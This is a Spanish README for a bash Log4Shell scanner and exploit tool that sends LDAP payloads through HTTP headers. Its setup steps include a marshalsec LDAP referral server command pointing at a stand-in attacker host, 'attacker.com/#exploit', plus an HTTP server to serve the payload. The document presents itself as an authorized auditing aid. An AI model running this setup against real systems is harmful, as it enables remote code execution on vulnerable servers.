Log4Shell-Scanner-Exploit

Script en bash que permite identificar y/o explotar la vulnerabilidad Log4shell de forma remota. Esta herramienta realiza distintas pruebas usando LDAP payloads y cabeceras X-Api-Version, User-Agent y X-Forwarded-For.

Siempre utilizar este script con autorización previa del propietario del servicio/aplicación auditada.

Dependencias:

1. Crearemos un servidor LDAP preconfigurado desde Github: https://github.com/mbechler/marshalsec

mvn clean package -DskipTests && Java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar

marshalsec.jndi.LDAPRefServer 'http://attacker.com/#exploit'

2. Habilitamos un servidor HTTP python3 -m http.server 8080

3. Tener Java instalado #sudo apt install default-jre

4. tener Curl instalado #sudo apt-get install curl

Ejemplo de uso:

Ingresar los siguientes parámetros:

• Lista de URLs a escanear
• Dirección IP del servidor LDAP
• Puerto servidor LDAP
• Dirección IP servidor HTTP
• Puerto servidor HTTP

#Ejemplo escaneo de aplicación en red interna: